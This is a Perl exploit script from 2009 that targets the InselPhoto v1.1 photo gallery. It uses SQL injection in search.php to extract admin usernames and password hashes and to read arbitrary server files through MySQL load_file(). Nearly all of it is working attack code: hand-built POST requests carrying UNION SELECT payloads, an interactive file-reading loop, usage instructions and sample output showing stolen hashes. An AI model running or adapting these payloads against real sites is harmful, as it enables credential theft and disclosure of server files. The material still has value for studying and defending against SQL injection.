inselphoto-sql.txt
Posted on 12 February 2009
#!/usr/bin/perl # |----------------------------------------------------------------------------------------------------------------------------------| # | INFORMATIONS | # |----------------------------------------------------------------------------------------------------------------------------------| # |Web Application : InselPhoto v1.1 | # |Download : http://www.inselphoto.com/download.php?p=get_inselphoto | # |----------------------------------------------------------------------------------------------------------------------------------| # |Remote Exploit (Admin credentials extract + File Disclosure via Sql Injection) | # |by Osirys | # |osirys[at]autistici[dot]org | # |osirys.org | # |Greets to: evilsocket, Fireshot, Todd and str0ke | # |----------------------------------------------------------------------------------------------------------------------------------| # |BUG [Sql Injection] # | Vulnerable file is: /[path]/search.php line 37 # |SQL Injections used by this sploit : # |[1] ' union select 0,0,concat(username,0x3a,password),0,0,0,0,0 from inselphoto_users# # |[2] ' union select 0,0,load_file('lf'),0,0,0,0,0# # |----------------------------------------------------------------------------------------------------------------------------------| # |This CMS is vulnerable to sql injection.This simple exploit just uses the sql bug to get admin credentials (username,password) and # |uses load_file() mysql function to disclosure local file on the server. # |This time no RCE exploit avaiable, becouse POST query is filtered with htmlentities, so will be impossible to write php code into # |a file, for the fact that < > char will be html encoded. # |----------------------------------------------------------------------------------------------------------------------------------| # -----------------------------------------------------------------------------------------------------------------------------------| # Exploit in action [>!] # -----------------------------------------------------------------------------------------------------------------------------------| # osirys[~]>$ perl sql2.txt http://localhost/InselPhoto/ admin_hash # # ----------------------------------- # InselPhoto SQL Injection Sploit # Coded by Osirys # ----------------------------------- # # [*] Extracting users credentials .. # # [*] Username: admin # [*] Password: 5f4dcc3b5aa765d61d8327deb882cf99 # # [*] Username: osirys # [*] Password: 6e1459df459890dfd8b4c3687c18abba # # [!] Succesfully Exploited ! # # osirys[~]>$ # -----------------------------------------------------------------------------------------------------------------------------------| # osirys[~]>$ perl sql2.txt http://localhost/InselPhoto/ file_disc # # ----------------------------------- # InselPhoto SQL Injection Sploit # Coded by Osirys # ----------------------------------- # # [*] cat /home/osirys/test.txt # Local file loaded :D # # [*] cat exit # [-] Quitting .. # osirys[~]>$ # -----------------------------------------------------------------------------------------------------------------------------------| use IO::Socket; my $host = $ARGV[0]; my $expl = $ARGV[1]; my $sql_inj_path = "/search.php"; ($host,$expl) || help("-1"); cheek($host,$expl) == 1 || help("-2"); &banner; $datas = get_input($host); $datas =~ /(.*) (.*)/; ($h0st,$path) = ($1,$2); &adm_hash if $expl_way == 1; &file_discl if $expl_way == 2; sub adm_hash { my $url = $path.$sql_inj_path; my $code= "query=%27+union+select+0%2C0%2Cconcat%28username%2C0x3a%2Cpassword%29%2C0%2C0%2C0%2C0%2C0+from+inselphoto_users%23&type=photo"; my $length = length($code); my $data = "POST ".$url." HTTP/1.1 ". "Host: ".$h0st." ". "Keep-Alive: 300 ". "Connection: keep-alive ". "Content-Type: application/x-www-form-urlencoded ". "Content-Length: ".$length." ". $code." "; my $socket = new IO::Socket::INET( PeerAddr => $h0st, PeerPort => '80', Proto => 'tcp', ) or die "[-] Can't connect to $h0st:80 [?] $! "; print "[*] Extracting users credentials .. "; $socket->send($data); while (my $e = <$socket>) { if ($e =~ /([a-zA-Z0-9-_.]{2,15}):([a-f0-9]{32})/) { $gotcha = 1; print "[*] Username: $1 "; print "[*] Password: $2 "; } } if ($gotcha != 1) { print "[-] Can't extract users credentials [-] Exploit Failed ! "; exit(0); } print "[!] Succesfully Exploited ! "; exit(0); } sub file_discl { my @outs; print "[*] cat "; my $file = <STDIN>; chomp($file); $file !~ /exit/ || die "[-] Quitting .. "; if ($file !~ //(.*)/) { print " [-] Bad filename ! "; &file_discl; } my $url = $path.$sql_inj_path; my $lfile = html($file); my $code= "query=%27+union+select+0%2C0%2Cload_file%28%27".$lfile."%27%29%2C0%2C0%2C0%2C0%2C0%23&type=photo"; my $length = length($code); my $data = "POST ".$url." HTTP/1.1 ". "Host: ".$h0st." ". "Keep-Alive: 300 ". "Connection: keep-alive ". "Content-Type: application/x-www-form-urlencoded ". "Content-Length: ".$length." ". $code." "; my $socket = new IO::Socket::INET( PeerAddr => $h0st, PeerPort => '80', Proto => 'tcp', ) or die "[-] Can't connect to $h0st:80 [?] $! "; $socket->send($data); while ((my $e = <$socket>)&&($stop != 1)) { if ($e =~ //0/0' rel='lightbox[insel]/) { $stop = 1; } push(@outs,$e); } my $out = join '', @outs; my $content = tag($out); if ($content =~ /$href='users/**(.+)/0/0'$rel='lightbox[insel]/) { my $out = $1; $out =~ s/$/ /g; $out =~ s/*/ /g; $out =~ s/$out/$out / if ($out !~ / $/); print "$out "; &file_discl; } else { $c++; print "[-] Can't find ".$file." "; $c < 3 || die "[-] File Disclosure failed ! [-] Something wrong. Exploit Failed ! "; &file_discl; } } sub get_input() { my $host = $_[0]; $host =~ /http://(.*)/; $s_host = $1; $s_host =~ /([a-z.-]{1,30})/(.*)/; ($h0st,$path) = ($1,$2); $path =~ s/(.*)//$1/; $full_det = $h0st." ".$path; return $full_det; } sub tag() { my $string = $_[0]; $string =~ s/ /$/g; $string =~ s/s/*/g; return($string); } sub html() { my $string = $_[0]; $string =~ s///\%2F/g; $string =~ s/\/\%5C/g; return($string); } sub cheek() { my $host = $_[0]; my $expl = $_[1]; if ($host =~ /http://(.*)/) { $ch_host = 1; } if ($expl =~ /admin_hash/) { $ch_expl = 1; $expl_way = 1; } elsif ($expl =~ /file_disc/) { $ch_expl = 1; $expl_way = 2; } return 1 if ((($ch_host)&&($ch_expl)) == 1); &help("-2"); } sub banner { print " ". " ----------------------------------- ". " InselPhoto SQL Injection Sploit ". " Coded by Osirys ". " ----------------------------------- "; } sub help() { my $error = $_[0]; if ($error == -1) { &banner; print " [-] Input Error, missed some arguments ! "; } elsif ($error == -2) { &banner; print " [-] Bad arguments ! "; } print "[*] Usage : perl $0 http://hostname/cms_path admin_hash "; print " Ex: perl $0 http://site.it/cms/ admin_hash "; print "[*] Usage : perl $0 http://hostname/cms_path file_disc "; print " Ex: perl $0 http://site.it/cms/ file_disc "; exit(0); }
